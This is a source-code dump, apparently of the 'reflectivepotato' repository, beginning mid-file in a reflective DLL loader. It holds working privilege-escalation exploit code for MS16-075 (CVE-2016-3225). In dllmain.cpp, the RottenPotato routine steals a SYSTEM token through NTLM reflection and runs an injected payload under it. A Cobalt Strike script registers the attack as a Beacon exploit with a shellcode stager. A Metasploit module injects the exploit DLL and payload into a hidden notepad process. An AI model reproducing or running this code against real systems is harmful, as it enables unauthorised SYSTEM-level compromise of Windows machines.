sizeof(IMAGE_BASE_RELOCATION); 464 | 465 | // we itterate through all the entries in the current block... 466 | while (uiValueB--) 467 | { 468 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 469 | // we dont use a switch statement to avoid the compiler building a jump table 470 | // which would not be very position independent! 471 | if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) 472 | *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 473 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) 474 | *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 475 | #ifdef WIN_ARM 476 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. 477 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T) 478 | { 479 | register DWORD dwInstruction; 480 | register DWORD dwAddress; 481 | register WORD wImm; 482 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) 483 | dwInstruction = *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)); 484 | // flip the words to get the instruction as expected 485 | dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); 486 | // sanity chack we are processing a MOV instruction... 487 | if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) 488 | { 489 | // pull out the encoded 16bit value (the high portion of the address-to-relocate) 490 | wImm = (WORD)(dwInstruction & 0x000000FF); 491 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); 492 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); 493 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); 494 | // apply the relocation to the target address 495 | dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF; 496 | // now create a new instruction with the same opcode and register param. 497 | dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2); 498 | // patch in the relocated address... 499 | dwInstruction |= (DWORD)(dwAddress & 0x00FF); 500 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; 501 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; 502 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; 503 | // now flip the instructions words and patch back into the code... 504 | *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); 505 | } 506 | } 507 | #endif 508 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) 509 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 510 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) 511 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 512 | 513 | // get the next entry in the current relocation block 514 | uiValueD += sizeof(IMAGE_RELOC); 515 | } 516 | 517 | uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 518 | // get the next entry in the relocation directory 519 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 520 | } 521 | } 522 | 523 | // STEP 6: call our images entry point 524 | 525 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 526 | uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); 527 | 528 | OUTPUTDBG("Flushing the instruction cache"); 529 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 530 | pNtFlushInstructionCache((HANDLE)-1, NULL, 0); 531 | 532 | // call our respective entry point, fudging our hInstance value 533 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 534 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 535 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter); 536 | #else 537 | // if we are injecting an DLL via a stub we call DllMain with no parameter 538 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL); 539 | #endif 540 | 541 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. 542 | return uiValueA; 543 | } 544 | //===============================================================================================// 545 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 546 | 547 | // you must implement this function... 548 | extern DWORD DLLEXPORT Init(SOCKET socket); 549 | 550 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) 551 | { 552 | BOOL bReturnValue = TRUE; 553 | 554 | switch (dwReason) 555 | { 556 | case DLL_QUERY_HMODULE: 557 | if (lpReserved != NULL) 558 | *(HMODULE *)lpReserved = hAppInstance; 559 | break; 560 | case DLL_PROCESS_ATTACH: 561 | hAppInstance = hinstDLL; 562 | break; 563 | case DLL_PROCESS_DETACH: 564 | case DLL_THREAD_ATTACH: 565 | case DLL_THREAD_DETACH: 566 | break; 567 | } 568 | return bReturnValue; 569 | } 570 | 571 | #endif 572 | //===============================================================================================// 573 | -------------------------------------------------------------------------------- /MSFRottenPotato/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | #include 34 | #include 35 | 36 | #include "ReflectiveDLLInjection.h" 37 | 38 | // Enable this define to turn on OutputDebugString support 39 | //#define ENABLE_OUTPUTDEBUGSTRING 1 40 | 41 | // Enable this define to turn on locking of memory to prevent paging 42 | #define ENABLE_STOPPAGING 1 43 | 44 | #define EXITFUNC_SEH 0xEA320EFE 45 | #define EXITFUNC_THREAD 0x0A2A1DE0 46 | #define EXITFUNC_PROCESS 0x56A2B5F0 47 | 48 | typedef HMODULE(WINAPI * LOADLIBRARYA)(LPCSTR); 49 | typedef FARPROC(WINAPI * GETPROCADDRESS)(HMODULE, LPCSTR); 50 | typedef LPVOID(WINAPI * VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); 51 | typedef DWORD(NTAPI * NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); 52 | 53 | #define KERNEL32DLL_HASH 0x6A4ABC5B 54 | #define NTDLLDLL_HASH 0x3CFA685D 55 | 56 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 57 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 58 | #define VIRTUALALLOC_HASH 0x91AFCA54 59 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 60 | 61 | #ifdef ENABLE_STOPPAGING 62 | typedef LPVOID(WINAPI * VIRTUALLOCK)(LPVOID, SIZE_T); 63 | #define VIRTUALLOCK_HASH 0x0EF632F2 64 | #endif 65 | 66 | #ifdef ENABLE_OUTPUTDEBUGSTRING 67 | typedef LPVOID(WINAPI * OUTPUTDEBUG)(LPCSTR); 68 | #define OUTPUTDEBUG_HASH 0x470D22BC 69 | #endif 70 | 71 | #define IMAGE_REL_BASED_ARM_MOV32A 5 72 | #define IMAGE_REL_BASED_ARM_MOV32T 7 73 | 74 | #define ARM_MOV_MASK (DWORD)(0xFBF08000) 75 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) 76 | #define ARM_MOVW 0xF2400000 77 | #define ARM_MOVT 0xF2C00000 78 | 79 | #define HASH_KEY 13 80 | //===============================================================================================// 81 | #pragma intrinsic( _rotr ) 82 | 83 | __forceinline DWORD ror(DWORD d) 84 | { 85 | return _rotr(d, HASH_KEY); 86 | } 87 | 88 | __forceinline DWORD _hash(char * c) 89 | { 90 | register DWORD h = 0; 91 | do 92 | { 93 | h = ror(h); 94 | h += *c; 95 | } while (*++c); 96 | 97 | return h; 98 | } 99 | //===============================================================================================// 100 | typedef struct _UNICODE_STR 101 | { 102 | USHORT Length; 103 | USHORT MaximumLength; 104 | PWSTR pBuffer; 105 | } UNICODE_STR, *PUNICODE_STR; 106 | 107 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 108 | //__declspec( align(8) ) 109 | typedef struct _LDR_DATA_TABLE_ENTRY 110 | { 111 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 112 | LIST_ENTRY InMemoryOrderModuleList; 113 | LIST_ENTRY InInitializationOrderModuleList; 114 | PVOID DllBase; 115 | PVOID EntryPoint; 116 | ULONG SizeOfImage; 117 | UNICODE_STR FullDllName; 118 | UNICODE_STR BaseDllName; 119 | ULONG Flags; 120 | SHORT LoadCount; 121 | SHORT TlsIndex; 122 | LIST_ENTRY HashTableEntry; 123 | ULONG TimeDateStamp; 124 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; 125 | 126 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 127 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 128 | { 129 | DWORD dwLength; 130 | DWORD dwInitialized; 131 | LPVOID lpSsHandle; 132 | LIST_ENTRY InLoadOrderModuleList; 133 | LIST_ENTRY InMemoryOrderModuleList; 134 | LIST_ENTRY InInitializationOrderModuleList; 135 | LPVOID lpEntryInProgress; 136 | } PEB_LDR_DATA, *PPEB_LDR_DATA; 137 | 138 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 139 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 140 | { 141 | struct _PEB_FREE_BLOCK * pNext; 142 | DWORD dwSize; 143 | } PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; 144 | 145 | // struct _PEB is defined in Winternl.h but it is incomplete 146 | // WinDbg> dt -v ntdll!_PEB 147 | typedef struct __PEB // 65 elements, 0x210 bytes 148 | { 149 | BYTE bInheritedAddressSpace; 150 | BYTE bReadImageFileExecOptions; 151 | BYTE bBeingDebugged; 152 | BYTE bSpareBool; 153 | LPVOID lpMutant; 154 | LPVOID lpImageBaseAddress; 155 | PPEB_LDR_DATA pLdr; 156 | LPVOID lpProcessParameters; 157 | LPVOID lpSubSystemData; 158 | LPVOID lpProcessHeap; 159 | PRTL_CRITICAL_SECTION pFastPebLock; 160 | LPVOID lpFastPebLockRoutine; 161 | LPVOID lpFastPebUnlockRoutine; 162 | DWORD dwEnvironmentUpdateCount; 163 | LPVOID lpKernelCallbackTable; 164 | DWORD dwSystemReserved; 165 | DWORD dwAtlThunkSListPtr32; 166 | PPEB_FREE_BLOCK pFreeList; 167 | DWORD dwTlsExpansionCounter; 168 | LPVOID lpTlsBitmap; 169 | DWORD dwTlsBitmapBits[2]; 170 | LPVOID lpReadOnlySharedMemoryBase; 171 | LPVOID lpReadOnlySharedMemoryHeap; 172 | LPVOID lpReadOnlyStaticServerData; 173 | LPVOID lpAnsiCodePageData; 174 | LPVOID lpOemCodePageData; 175 | LPVOID lpUnicodeCaseTableData; 176 | DWORD dwNumberOfProcessors; 177 | DWORD dwNtGlobalFlag; 178 | LARGE_INTEGER liCriticalSectionTimeout; 179 | DWORD dwHeapSegmentReserve; 180 | DWORD dwHeapSegmentCommit; 181 | DWORD dwHeapDeCommitTotalFreeThreshold; 182 | DWORD dwHeapDeCommitFreeBlockThreshold; 183 | DWORD dwNumberOfHeaps; 184 | DWORD dwMaximumNumberOfHeaps; 185 | LPVOID lpProcessHeaps; 186 | LPVOID lpGdiSharedHandleTable; 187 | LPVOID lpProcessStarterHelper; 188 | DWORD dwGdiDCAttributeList; 189 | LPVOID lpLoaderLock; 190 | DWORD dwOSMajorVersion; 191 | DWORD dwOSMinorVersion; 192 | WORD wOSBuildNumber; 193 | WORD wOSCSDVersion; 194 | DWORD dwOSPlatformId; 195 | DWORD dwImageSubsystem; 196 | DWORD dwImageSubsystemMajorVersion; 197 | DWORD dwImageSubsystemMinorVersion; 198 | DWORD dwImageProcessAffinityMask; 199 | DWORD dwGdiHandleBuffer[34]; 200 | LPVOID lpPostProcessInitRoutine; 201 | LPVOID lpTlsExpansionBitmap; 202 | DWORD dwTlsExpansionBitmapBits[32]; 203 | DWORD dwSessionId; 204 | ULARGE_INTEGER liAppCompatFlags; 205 | ULARGE_INTEGER liAppCompatFlagsUser; 206 | LPVOID lppShimData; 207 | LPVOID lpAppCompatInfo; 208 | UNICODE_STR usCSDVersion; 209 | LPVOID lpActivationContextData; 210 | LPVOID lpProcessAssemblyStorageMap; 211 | LPVOID lpSystemDefaultActivationContextData; 212 | LPVOID lpSystemAssemblyStorageMap; 213 | DWORD dwMinimumStackCommit; 214 | } _PEB, *_PPEB; 215 | 216 | typedef struct 217 | { 218 | WORD offset : 12; 219 | WORD type : 4; 220 | } IMAGE_RELOC, *PIMAGE_RELOC; 221 | //===============================================================================================// 222 | #endif 223 | //===============================================================================================// 224 | -------------------------------------------------------------------------------- /MSFRottenPotato/dllmain.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include "ReflectiveLoader.h" 3 | #include "MSFRottenPotato.h" 4 | 5 | extern "C" HINSTANCE hAppInstance; 6 | EXTERN_C IMAGE_DOS_HEADER __ImageBase; 7 | 8 | HANDLE ElevatedToken; 9 | 10 | VOID ExecutePayload(LPVOID lpPayload) 11 | { 12 | printf("[+] Executing payload\n"); 13 | VOID(*lpCode)() = (VOID(*)())lpPayload; 14 | lpCode(); 15 | } 16 | 17 | int RottenPotato() 18 | { 19 | CMSFRottenPotato* test = new CMSFRottenPotato(); 20 | test->startCOMListenerThread(); 21 | test->startRPCConnectionThread(); 22 | test->triggerDCOM(); 23 | int ret = 0; 24 | while (true) { 25 | if (test->negotiator->authResult != -1) { 26 | HANDLE hToken; 27 | TOKEN_PRIVILEGES tkp; 28 | 29 | 30 | 31 | if (!OpenProcessToken(GetCurrentProcess(), 32 | TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))return 0; 33 | 34 | 35 | LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME, 36 | &tkp.Privileges[0].Luid); 37 | 38 | tkp.PrivilegeCount = 1; 39 | tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 40 | 41 | 42 | AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0); 43 | 44 | QuerySecurityContextToken(test->negotiator->phContext, &ElevatedToken); 45 | 46 | break; 47 | } 48 | else { 49 | Sleep(500); 50 | } 51 | } 52 | return ret; 53 | } 54 | 55 | 56 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) 57 | { 58 | BOOL bReturnValue = TRUE; 59 | DWORD dwResult = 0; 60 | 61 | switch (dwReason) 62 | { 63 | case DLL_QUERY_HMODULE: 64 | if (lpReserved != NULL) 65 | *(HMODULE *)lpReserved = hAppInstance; 66 | break; 67 | case DLL_PROCESS_ATTACH: 68 | hAppInstance = hinstDLL; 69 | RottenPotato(); 70 | HANDLE Thread; 71 | DWORD threadID; 72 | printf("[*] Creating thread to run as SYSTEM\n"); 73 | Thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ExecutePayload, lpReserved, CREATE_SUSPENDED, &threadID); 74 | SetThreadToken(&Thread, ElevatedToken); 75 | ResumeThread(Thread); 76 | WaitForSingleObject(Thread, 0xFFFFFFFF); 77 | break; 78 | case DLL_PROCESS_DETACH: 79 | case DLL_THREAD_ATTACH: 80 | case DLL_THREAD_DETACH: 81 | break; 82 | } 83 | return bReturnValue; 84 | } 85 | -------------------------------------------------------------------------------- /MSFRottenPotato/dump.stg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/reflectivepotato/f48d8d6dc29ecc1e0613b8e4ba47ce4597ad846b/MSFRottenPotato/dump.stg -------------------------------------------------------------------------------- /MSFRottenPotato/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // MSFRottenPotato.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /MSFRottenPotato/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 11 | // Windows Header Files: 12 | #include 13 | 14 | 15 | 16 | // TODO: reference additional headers your program requires here 17 | -------------------------------------------------------------------------------- /MSFRottenPotato/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /potato.x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/reflectivepotato/f48d8d6dc29ecc1e0613b8e4ba47ce4597ad846b/potato.x64.dll -------------------------------------------------------------------------------- /potato.x86.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johnjohnsp1/reflectivepotato/f48d8d6dc29ecc1e0613b8e4ba47ce4597ad846b/potato.x86.dll -------------------------------------------------------------------------------- /rottenpotato.cna: -------------------------------------------------------------------------------- 1 | sub rottenpotato { 2 | btask($1, "Task Beacon to run " . listener_describe($2) . " via RottenPotato (ms16-075)"); 3 | 4 | if (-is64 $1) 5 | { 6 | $arch = "x64"; 7 | $dll = "potato.x64.dll"; 8 | } else { 9 | $arch = "x86"; 10 | $dll = "potato.x86.dll"; 11 | } 12 | 13 | $stager = shellcode($2, false, $arch); 14 | 15 | bdllspawn!($1, script_resource($dll), $stager, "NTLM DCOM->RPC NTLM Reflection (MS16-075)", 5000); 16 | 17 | bstage($1, $null, $2, $arch); 18 | } 19 | 20 | beacon_exploit_register("rottenpotato", "RottenPotato (ms16-075)", &rottenpotato); 21 | 22 | -------------------------------------------------------------------------------- /rottenpotato.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: https://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core/post/windows/reflective_dll_injection' 7 | 8 | class MetasploitModule < Msf::Exploit::Local 9 | Rank = NormalRanking 10 | 11 | include Msf::Post::File 12 | include Msf::Post::Windows::Priv 13 | include Msf::Post::Windows::Process 14 | include Msf::Post::Windows::FileInfo 15 | include Msf::Post::Windows::ReflectiveDLLInjection 16 | 17 | def initialize(info={}) 18 | super(update_info(info, { 19 | 'Name' => 'Windows Net-NTLMv2 Reflection DCOM/RPC', 20 | 'Description' => %q( 21 | Module utilizes the Net-NTLMv2 reflection between DCOM/RPC 22 | to achieve a SYSTEM handle for elevation of privilege. 23 | ), 24 | 'License' => MSF_LICENSE, 25 | 'Author' => 26 | [ 27 | 'FoxGloveSec', # the original Potato exploit 28 | 'breenmachine', # Rotten Potato NG! 29 | 'Mumbai' # Austin : port of RottenPotato for reflection & quick module 30 | ], 31 | 'Arch' => [ARCH_X86, ARCH_X64], 32 | 'Platform' => 'win', 33 | 'SessionTypes' => ['meterpreter'], 34 | 'DefaultOptions' => 35 | { 36 | 'EXITFUNC' => 'none', 37 | 'WfsDelay' => '20' 38 | }, 39 | 'Targets' => 40 | [ 41 | ['Automatic', {}], 42 | ['Windows x86', { 'Arch' => ARCH_X86 }], 43 | ['Windows x64', { 'Arch' => ARCH_X64 }] 44 | ], 45 | 'Payload' => 46 | { 47 | 'DisableNops' => true 48 | }, 49 | 'References' => 50 | [ 51 | ['MSB', 'MS16-075'], 52 | ['CVE', '2016-3225'], 53 | ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'], 54 | ['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'], 55 | ['URL', 'https://github.com/breenmachine/RottenPotatoNG'] 56 | ], 57 | 'DisclosureDate' => 'Jan 16 2016', 58 | 'DefaultTarget' => 0 59 | })) 60 | end 61 | 62 | def assign_target 63 | if target.name == 'Automatic' 64 | case sysinfo["Architecture"] 65 | when 'x86' 66 | vprint_status("Found we are on an x86 target") 67 | my_target = targets[1] 68 | when 'x64' 69 | vprint_status("Found we are on an x64 target") 70 | my_target = targets[2] 71 | else 72 | fail_with(Failure::NoTarget, "Unable to determine target") 73 | end 74 | else 75 | my_target = target 76 | end 77 | return my_target 78 | end 79 | 80 | def verify_arch(my_target) 81 | if my_target["Arch"] != sysinfo["Architecture"] 82 | print_error("Assigned Target Arch = #{my_target.opts['Arch']}") 83 | print_error("Actual Target Arch = #{sysinfo['Architecture']}") 84 | fail_with(Failure::BadConfig, "Assigned Arch does not match reality") 85 | end 86 | if client.arch != sysinfo["Architecture"] 87 | fail_with(Failure::BadConfig, "Session/Target Arch mismatch; WOW64 not supported") 88 | else 89 | vprint_good("Current payload and target Arch match....") 90 | end 91 | end 92 | 93 | def check 94 | privs = client.sys.config.getprivs 95 | if privs.include?('SeImpersonatePrivilege') 96 | return Exploit::CheckCode::Appears 97 | end 98 | return Exploit::CheckCode::Safe 99 | end 100 | 101 | def exploit 102 | if is_system? 103 | fail_with(Failure::None, 'Session is already elevated') 104 | end 105 | my_target = assign_target 106 | print_status("#{my_target['Arch']}") 107 | verify_arch(my_target) 108 | if check == Exploit::CheckCode::Safe 109 | fail_with(Failure::NoAccess, 'User does not have SeImpersonate Privilege') 110 | end 111 | if my_target.opts['Arch'] == 'x64' 112 | dll_file_name = 'potato.x64.dll' 113 | vprint_status("Assigning payload rottenpotato.x64.dll") 114 | elsif my_target.opts['Arch'] == 'x86' 115 | dll_file_name = 'potato.x86.dll' 116 | vprint_status("Assigning payload rottenpotato.x86.dll") 117 | else 118 | fail_with(Failure::BadConfig, "Unknown target arch; unable to assign exploit code") 119 | end 120 | print_status('Launching notepad to host the exploit...') 121 | notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true) 122 | begin 123 | process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) 124 | print_good("Process #{process.pid} launched.") 125 | rescue Rex::Post::Meterpreter::RequestError 126 | print_error('Operation failed. Trying to elevate the current process...') 127 | process = client.sys.process.open 128 | end 129 | print_status("Reflectively injecting the exploit DLL into #{process.pid}...") 130 | library_path = ::File.join(Msf::Config.data_directory, "exploits", "rottenpotato", dll_file_name) 131 | library_path = ::File.expand_path(library_path) 132 | print_status("Injecting exploit into #{process.pid}...") 133 | exploit_mem, offset = inject_dll_into_process(process, library_path) 134 | print_status("Exploit injected. Injecting payload into #{process.pid}...") 135 | payload_mem = inject_into_process(process, payload.encoded) 136 | # invoke the exploit, passing in the address of the payload that 137 | # we want invoked on successful exploitation. 138 | print_status('Payload injected. Executing exploit...') 139 | process.thread.create(exploit_mem + offset, payload_mem) 140 | print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') 141 | end 142 | end 143 | --------------------------------------------------------------------------------